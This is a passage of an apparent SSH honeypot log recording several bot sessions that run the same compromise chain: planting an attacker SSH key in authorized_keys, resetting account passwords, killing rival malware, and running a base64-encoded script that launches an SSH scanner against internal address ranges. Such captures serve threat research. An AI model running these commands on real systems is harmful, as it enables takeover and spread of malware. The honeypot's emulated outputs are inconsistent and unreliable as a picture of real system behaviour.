.ssh"},{"seq":2,"at":"2026-08-20T20:23:39.160053+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T20:23:47.130138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T20:23:47.130878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T20:23:48.032722+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QRVgmpYi92o4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T20:23:48.756171+00:00","kind":"output","latency_ms":724,"data":""},{"seq":7,"at":"2026-08-20T20:23:48.930486+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T20:23:49.838527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T20:23:49.838941+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T20:23:50.756122+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T20:23:51.834750+00:00","kind":"output","latency_ms":1078,"data":"15888 5342 532 56 9960 9118"},{"seq":12,"at":"2026-08-20T20:23:52.732184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T20:23:53.500174+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 149K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T20:23:54.430375+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T20:23:54.430884+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-20T20:23:55.330473+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T20:23:55.331011+00:00","kind":"output","latency_ms":null,"data":" 20:23:55 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-20T20:23:56.230827+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T20:23:56.234373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T20:23:57.131500+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T20:23:57.132264+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-20T20:23:58.033060+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T20:23:58.033779+00:00","kind":"output","latency_ms":null,"data":"top - 20:23:58 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T20:23:58.930746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T20:23:58.931283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T20:23:59.834566+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T20:23:59.835121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T20:24:00.729850+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T20:24:00.730680+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T20:24:01.630846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T20:24:04.102242+00:00","kind":"output","latency_ms":2468,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T20:24:05.030113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T20:24:06.121920+00:00","kind":"output","latency_ms":1090,"data":"24G"},{"seq":34,"at":"2026-08-20T20:24:09.033850+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456789123456789\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T20:24:09.931209+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T20:24:10.649361+00:00","kind":"output","latency_ms":716,"data":""},{"seq":37,"at":"2026-08-20T20:24:13.230442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T20:24:14.976907+00:00","kind":"output","latency_ms":1745,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T20:24:15.837835+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T20:24:16.607852+00:00","kind":"output","latency_ms":768,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T20:24:17.548822+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T20:24:18.430693+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T20:24:22.936644+00:00","kind":"output","latency_ms":4503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T20:24:23.830716+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T20:24:24.433858+00:00","kind":"output","latency_ms":601,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T20:24:25.338955+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T20:24:34.331259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T20:24:34.331901+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456789123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"edca2fad-c59c-4e9a-a8fd-fe79fe36bd95","name":"grassy-peaty-gharial","protocol":"ssh","channel_kind":"exec","src_ip":"181.129.41.162","src_port":40408,"username":"parth","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T19:52:38.357374+00:00","ended_at":"2026-08-20T19:52:38.429877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3459,"events":[{"seq":1,"at":"2026-08-20T19:52:08.941466+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T19:52:10.521346+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T19:52:15.123312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T19:52:15.124103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T19:52:15.408346+00:00","kind":"input","latency_ms":null,"data":"echo -e \"parth@123\\n26RXWTfy28jQ\\n26RXWTfy28jQ\"|passwd|bash"},{"seq":6,"at":"2026-08-20T19:52:15.692000+00:00","kind":"input","latency_ms":null,"data":"echo \"parth@123\\n26RXWTfy28jQ\\n26RXWTfy28jQ\\n\"|passwd"},{"seq":7,"at":"2026-08-20T19:52:15.977846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T19:52:15.978286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T19:52:16.263535+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T19:52:17.284713+00:00","kind":"output","latency_ms":1021,"data":" total used free shared buff/cache available\nMem: 15888 1810 12490 18 1587 13767"},{"seq":11,"at":"2026-08-20T19:52:17.568167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T19:52:18.240768+00:00","kind":"output","latency_ms":670,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T19:52:18.525627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T19:52:18.526099+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T19:52:18.810304+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T19:52:18.811047+00:00","kind":"output","latency_ms":null,"data":" 19:52:18 up 16:42, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-20T19:52:19.095400+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T19:52:19.095871+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T19:52:19.378936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T19:52:19.381726+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-20T19:52:19.662623+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T19:52:19.663413+00:00","kind":"output","latency_ms":null,"data":"top - 19:52:19 up 16:42, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T19:52:19.948445+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T19:52:19.949287+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T19:52:20.240636+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T19:52:20.241238+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T19:52:20.525990+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T19:52:20.526314+00:00","kind":"output","latency_ms":null,"data":"parth"},{"seq":29,"at":"2026-08-20T19:52:20.810227+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T19:52:21.623516+00:00","kind":"output","latency_ms":812,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T19:52:21.909955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T19:52:22.781829+00:00","kind":"output","latency_ms":871,"data":"24G"},{"seq":33,"at":"2026-08-20T19:52:23.814143+00:00","kind":"input","latency_ms":null,"data":"echo \"parth parth@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T19:52:24.097938+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T19:52:24.612797+00:00","kind":"output","latency_ms":514,"data":""},{"seq":36,"at":"2026-08-20T19:52:25.048405+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T19:52:25.981667+00:00","kind":"output","latency_ms":943,"data":"Parth done, no changes to prod."},{"seq":38,"at":"2026-08-20T19:52:26.266412+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T19:52:26.893280+00:00","kind":"output","latency_ms":626,"data":"Parth done, no changes to prod."},{"seq":40,"at":"2026-08-20T19:52:27.177994+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T19:52:27.461499+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T19:52:28.548153+00:00","kind":"output","latency_ms":1085,"data":"Parth done, no changes to prod."},{"seq":43,"at":"2026-08-20T19:52:28.832566+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T19:52:29.552690+00:00","kind":"output","latency_ms":719,"data":"Parth done, no changes to prod."},{"seq":45,"at":"2026-08-20T19:52:29.841170+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T19:52:30.305619+00:00","kind":"output","latency_ms":461,"data":""},{"seq":47,"at":"2026-08-20T19:52:38.358331+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T19:52:38.358798+00:00","kind":"output","latency_ms":null,"data":"parth"}],"credentials":[{"username":"parth","password":"parth@123","method":"password","accepted":true,"tier":"other"}]} {"id":"693e4c0b-9628-4110-af98-de6e70250ebd","name":"lawful-forlorn-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"69.6.223.142","src_port":49164,"username":"leandro","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":375,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T16:54:18.686099+00:00","ended_at":"2026-08-20T16:54:18.795409+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3916,"events":[{"seq":1,"at":"2026-08-20T16:53:48.301857+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T16:53:48.675868+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T16:53:52.289376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T16:53:52.290176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T16:53:52.665872+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nZnERKWvYX97t\\nZnERKWvYX97t\"|passwd|bash"},{"seq":6,"at":"2026-08-20T16:53:53.041351+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nZnERKWvYX97t\\nZnERKWvYX97t\\n\"|passwd"},{"seq":7,"at":"2026-08-20T16:53:53.414798+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T16:53:53.415907+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T16:53:53.790917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T16:53:54.770952+00:00","kind":"output","latency_ms":979,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-20T16:53:55.147092+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T16:53:55.919928+00:00","kind":"output","latency_ms":771,"data":"-rwxr-xr-x 1 root root 151K Jan 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T16:53:56.296555+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T16:53:56.297222+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T16:53:56.672156+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T16:53:56.672622+00:00","kind":"output","latency_ms":null,"data":" 16:53:56 up 13:44, 0 user, load average: 0.24, 0.19, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-20T16:53:57.049604+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T16:53:57.050731+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T16:53:57.424749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T16:53:57.425704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-20T16:53:57.799228+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T16:53:57.800013+00:00","kind":"output","latency_ms":null,"data":"top - 16:53:57 up 13:44, 0 user, load average: 0.24, 0.19, 0.27\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T16:53:58.175888+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T16:53:58.176314+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T16:53:58.551101+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T16:53:58.551607+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T16:53:58.926833+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T16:53:58.927379+00:00","kind":"output","latency_ms":null,"data":"leandro"},{"seq":29,"at":"2026-08-20T16:53:59.302483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T16:54:00.676305+00:00","kind":"output","latency_ms":1372,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T16:54:01.051347+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T16:54:01.989822+00:00","kind":"output","latency_ms":937,"data":"24G"},{"seq":33,"at":"2026-08-20T16:54:03.319178+00:00","kind":"input","latency_ms":null,"data":"echo \"leandro 123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T16:54:03.685490+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T16:54:04.302186+00:00","kind":"output","latency_ms":616,"data":""},{"seq":36,"at":"2026-08-20T16:54:04.989637+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T16:54:06.193846+00:00","kind":"output","latency_ms":1202,"data":"A malformed or invalid command was detected."},{"seq":38,"at":"2026-08-20T16:54:06.567748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T16:54:07.389141+00:00","kind":"output","latency_ms":820,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T16:54:07.765237+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T16:54:08.138954+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T16:54:08.678108+00:00","kind":"output","latency_ms":538,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T16:54:09.053827+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T16:54:09.659707+00:00","kind":"output","latency_ms":602,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T16:54:10.032872+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 